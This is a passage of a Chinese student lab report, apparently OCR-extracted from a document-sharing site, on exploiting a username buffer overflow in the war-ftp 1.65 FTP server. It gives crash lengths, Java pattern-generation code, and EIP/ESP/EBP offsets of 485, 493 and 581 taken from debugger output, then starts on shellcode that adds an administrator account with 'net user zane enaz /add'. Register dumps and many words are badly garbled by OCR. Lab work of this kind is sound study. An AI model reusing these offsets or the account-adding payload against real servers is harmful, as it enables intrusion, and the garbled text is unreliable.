基于war-ftp1.65的缓冲区溢出攻击.docx

上传人:王** 文档编号:718442 上传时间:2023-12-24 格式:DOCX 页数:9 大小:128.61KB
下载 相关 举报
基于war-ftp1.65的缓冲区溢出攻击.docx_第1页
第1页 / 共9页
基于war-ftp1.65的缓冲区溢出攻击.docx_第2页
第2页 / 共9页
基于war-ftp1.65的缓冲区溢出攻击.docx_第3页
第3页 / 共9页
基于war-ftp1.65的缓冲区溢出攻击.docx_第4页
第4页 / 共9页
基于war-ftp1.65的缓冲区溢出攻击.docx_第5页
第5页 / 共9页
基于war-ftp1.65的缓冲区溢出攻击.docx_第6页
第6页 / 共9页
基于war-ftp1.65的缓冲区溢出攻击.docx_第7页
第7页 / 共9页
基于war-ftp1.65的缓冲区溢出攻击.docx_第8页
第8页 / 共9页
基于war-ftp1.65的缓冲区溢出攻击.docx_第9页
第9页 / 共9页
亲,该文档总共9页,全部预览完了,如果喜欢就下载吧!
资源描述

《基于war-ftp1.65的缓冲区溢出攻击.docx》由会员分享,可在线阅读,更多相关《基于war-ftp1.65的缓冲区溢出攻击.docx(9页珍藏版)》请在优知文库上搜索。

1、XX大学实验报告姓名XX学号XX实验组实验时间2023/12/25指导教师XX成绩实验工程名称缓冲区溢出攻击实验实验目的1掌握缓冲区溢出的原理缓冲区指程序运行期间,在内存中分配的一个连续的区域,用于保存包括字符数组在内的各种数据类型。溢出,指所填充的数据超出了原有的缓冲区边界,并非法占据了另一段内存区域。缓冲区溢出,即由于填充数据越界而导致原有流程的改变,攻击者借此精心构造填充数据,让程序转而执行特殊的代码,最终获取控制权。2掌握常用的缓冲区溢出方法缓冲区溢出攻击的目的在于取得程序的控制权,为此,攻击者必须到达如下的两个目标:在程序的地址空间里安排适当的代码:通过适当的初始化存放器和内存,让程

2、序跳转到入侵者安排的地址空间执行。根据这两个目标来对缓冲区溢出攻击进行分类,缓冲区溢出攻击分为代码安排和控制程序执行流程两种方法;在程序的地址空间里安排适当的代码的方法:控制程序转移到攻击代码的方法。3理解缓冲区溢出的危害性缓冲区溢出的危害性具有破坏性与隐蔽性的特点:破坏性表达在易使效劳程序停止运行,效劳器死机甚至删除效劳器上的数据或者可以执入并运行攻击代码。隐蔽性表达在软件漏洞难以防止,缓冲攻击的SheIlCode的执行不易被发觉,攻击的随机性及不可预测性。4掌握防范和防止缓冲区溢出攻击的方法通过操作系统使得缓冲区不可执行,从而阻止攻击者植入攻击代码;强制编写正确的代码;利用编译器的边界检查

3、来实现缓冲区的保护;间接的方法是在程序指针失效前进行完整性检查等。实验环境windows10(缓冲区溢出攻击端),windowsxpHome(缓冲区溢出被攻击端)编程工具:CodebIOCkS(用于发送exploit代码),exlipse(用来写测试代码字符和转换代码字符)缓冲区漏洞软件:war-ftp1.65系统程序调试工具:OIIydbg网络环境:使用Vmare承载WindoWsxp,windowlO与XP在同一网段下,可以进行相互通信学院:计算机科学与技术专业:软件工程班级:XX实 验 内 容实挈;数 据当输入用户名的长度超过了 485个字符时,系统崩溃: (崩溃时):直接处于卡死状态1

4、 .分析WaLftPvl.65的基于用户名的缓冲溢出漏洞实践课件上己指出:向效劳器发送超过480字节的用户名可以触发漏洞(即使用命令USER1ongStringrn),溢出之后,ESP中的内容包含了IongString中的局部内容。需要对其进行验证分析。2 .分析War-ftpvl.65的堆栈结构即分析堆栈中的EIP、ESP、EBP等的精确位置。3 .构造针对War-ftpvl.65的exploit根据上述的分析结果,参照实践课件的例子,从网上(主要是metasploit)获取ShelICOde,构造exploit。1验证War-ftpV1.65基于用户名的缓冲溢出漏洞在WindowsXP中使

5、用OIldbg装载war-ftp1.65.degugrun.允许匿名登录:在物理主机使用Cuteftp登录,用户名使用依次增加的“AAA,当用户名长度超过480时,war-ftp1.65出现异常甚至崩溃退出。(正常情况):此时的E1P,EBP,ESP如下列图所示:gstri*u,EQxECXEDXEBXESPEBPESIEDIEIPC0P1R120S0T0D000EFLSTSTlST2ST3ST4STSST6ST700000001000000010000000000B0000REFDS8ASCIIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0QEFD80SCIlAQAAAAA

6、AAAAAAAAAAAAAAAAqAAAAAQHAi7C80932Ekerne132GetTickCount。0AEFES8ASCIIAAAAAAAAAAAAAAQAAAAAAAAAAAAARA41414141ES。02332bit(FFFFFFFF)CS01B32bit(FFFFFFFF)SS002332bit0(FFFFFFFF)DS02332bit(FFFFFFFF)FS03B32bit7FFDE00(FFF)GS00NULL1.astErrERROR_SUCCESS(00000000)0001216(No,NB,NE,A,NS,PE,GE,G)62ty-?FFFF00FFFFFF00F

7、FFFFFempty-?FFFF0O00000000enpty-?FFFF0000FEOFE00FEenpty-?FFFF0000FE0FE00FEempty-?FFFFFFFFFFOFFFFFFenpty1.0000000000000O000empty1.00000000000000000eMQty1.000000000000000003210ESP0ZDIFSTFCW400Cond100Err00000000(EQ)27FPrec任喇53HaSkIlllll以上证据表示,War-ftp确实存在登录的缓冲区漏洞。2分析War-ftp1.65的堆栈结构由于堆栈Ret里的地址被赋给EIP,CPU

8、继续执行EIP所指向的命令,即EIP存放器的内容表示将要执行的下一条指令地址,所以需要定位RET的精确位置。为了把ShellCode放入预期的EIP指向的ESP或EBP,还需要定位ESP、EBP的精确位置。使用java程序生成长度为1000的不重复的字符串。publicstaticStringgenarateString(intlen)Stringstring=M0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHI3KLMNOPQRSTUVWXYZM;StringBuffersb=newStringBuffer();Randomrandom=newRand

9、om();for(inti=0;ilen;i+)sb.append(string.charAt(random.nextInt(string.length();returnsb.toString();|HXCDXBSPBP/ Eeeeeeee00000001 00000001 00000000 00000000 0REFD58 00REFDB8 7C80932E 00REFE58随后将生成的字符串使用cuteftp发送到被攻击主机,得到关于EIP,EBP,ESP的偏移位置如下:ASCIIMqFjuV7CuhVHM1PF4zzUU1H6CJ8QWCG02V41CASCIINUofdiurGbNqt

10、hfCZV5AAItOGLXJTfkerne132.GetTIckCountASCIIM6ZniolUqGHInGKzJjIpyrZaBUL3JejPOPyES002332b it0(FFFFFFFF)CSOOlB32b it0(FFFFFFFF)SS002332b it0(FFFFFFFF)DS0。2332b it(FFFFFFFF)FS003B32b it7FFDE00(FFF)GS凸代NULLLaSt 热ERRoR-SUCCESS (000000)0010216 (NO,NB,NE,A,NS,IPE,GEG)empty-28FFFF00700070007070empty-9FFFF00F

11、000F000F0F0empty-7FFFF0000003800480065enpty-FFFF00000078009BD9empty-3/FFFF0F7FA3E68F92ACE9enpty1.00000000006rpty1.0000000000000000800erpty1.000000000000003 2 10IESPUOZDI4000Cond1 0 eI 0 Err i0 0 0 0 0 000027FPrecNEAR.53 MaskIllli1(EQ)81234567 Tw Tttttttt S CSsssssss FfEIP:0x540x360x370x48对应与H76T在登录用

12、户字符串的485个位置开始ESP:qFju在登录用户字符串的493个位置开始EBP:NUof在登录用户字符串的581个位置开始结果说明,EIP指向第485位置(从0开始计数),ESP指向第493位置,EBP指向第581位置。从而可以得到war-ftp1.65的堆栈结构图如下:嘱免”一4byte RET ,SgeI jSSbuesESP.EBPdEsP倩生量 为 493hyt+EBPfiVft. 为 Stlbyt,产生随机不重复字符串生成代码和16进制转换代码:safe;importjava.util.Random;*Helloworld!publicclassApppublicstaticvo

13、idmain(Stringargs)/for(inti=0;i490;i+)/System.out.print(八);/System.out.println();/System.out.println(genarateString(l000);asc(newint0x54,0x36,0x37,0x48);publicstaticStringgenaratcString(intlcn)Stringstring=M0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYStringBuffersb=newStringBufTerO;

14、Randomrandom=newRandom();for(inti=0;ilcn;i+)sb.append(sting.charAt(random.nextlnt(string.length();returnsb.toString();publicstaticvoidasc(intarg)System.out.println();System.out.print(char)ag3);System.out.print(char)arg2);System.out.print(char)arg1);System.out.print(char)arg0);3 获取shellcode通过搜索引擎搜索获得了一个添加用户并改变权限的code/shelIcode,添加用户名为Zane,密码为enaz的管理员用户:netuserzaneenaz/add*Win32addu

展开阅读全文
相关资源
猜你喜欢
相关搜索

当前位置:首页 > IT计算机 > 服务器

copyright@ 2008-2023 yzwku网站版权所有

经营许可证编号:宁ICP备2022001189号-2

本站为文档C2C交易模式,即用户上传的文档直接被用户下载,本站只是中间服务平台,本站所有文档下载所得的收益归上传人(含作者)所有。装配图网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对上载内容本身不做任何修改或编辑。若文档所含内容侵犯了您的版权或隐私,请立即通知装配图网,我们立即给予删除!